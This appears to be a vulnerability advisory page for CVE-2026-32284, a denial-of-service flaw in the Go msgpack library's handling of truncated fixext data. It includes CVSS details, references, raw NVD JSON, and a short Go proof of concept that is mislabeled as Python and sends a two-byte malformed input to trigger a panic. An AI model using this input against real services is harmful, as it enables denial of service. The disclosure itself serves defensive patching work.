CVE-2026-32284

Description

The msgpack decoder fails to properly validate the input buffer length when processing truncated fixext data (format codes 0xd4-0xd8). This can lead to an out-of-bounds read and a runtime panic, allowing a denial of service attack.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

shamaton/msgpack (存在漏洞的具体版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

package main

import (
	"fmt"
	"github.com/shamaton/msgpack"
)

func main() {
	// Crafted malformed msgpack data
	// Format code 0xd4 (fixext 4) expects 1 byte type + 4 bytes data.
	// Here we provide truncated data to trigger out-of-bounds read.
	malformedData := []byte{0xd4, 0x01} 

	var result interface{}
	err := msgpack.Unmarshal(malformedData, &result)
	if err != nil {
		fmt.Println("Exploit successful, panic/error triggered:", err)
	} else {
		fmt.Println("Decoded successfully (unexpected):", result)
	}
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32284
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32284
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32284/
[4] VulDB https://vuldb.com/cve/CVE-2026-32284
[5] https://github.com/golang/vulndb/issues/4513
[6] https://github.com/shamaton/msgpack/issues/59
[7] https://pkg.go.dev/vuln/GO-2026-4513
[8] https://securityinfinity.com/research/shamaton-msgpack-oob-panic-fixext-dos-2026

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32284", "sourceIdentifier": "[email protected]", "published": "2026-03-26T20:16:12.087", "lastModified": "2026-03-30T15:16:27.780", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The msgpack decoder fails to properly validate the input buffer length when processing truncated fixext data (format codes 0xd4-0xd8). This can lead to an out-of-bounds read and a runtime panic, allowing a denial of service attack."}, {"lang": "es", "value": "El decodificador msgpack no valida correctamente la longitud del búfer de entrada al procesar datos fixext truncados (códigos de formato 0xd4-0xd8). Esto puede provocar una lectura fuera de límites y un pánico en tiempo de ejecución, lo que permite un ataque de denegación de servicio."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "references": [{"url": "https://github.com/golang/vulndb/issues/4513", "source": "[email protected]"}, {"url": "https://github.com/shamaton/msgpack/issues/59", "source": "[email protected]"}, {"url": "https://pkg.go.dev/vuln/GO-2026-4513", "source": "[email protected]"}, {"url": "https://securityinfinity.com/research/shamaton-msgpack-oob-panic-fixext-dos-2026", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}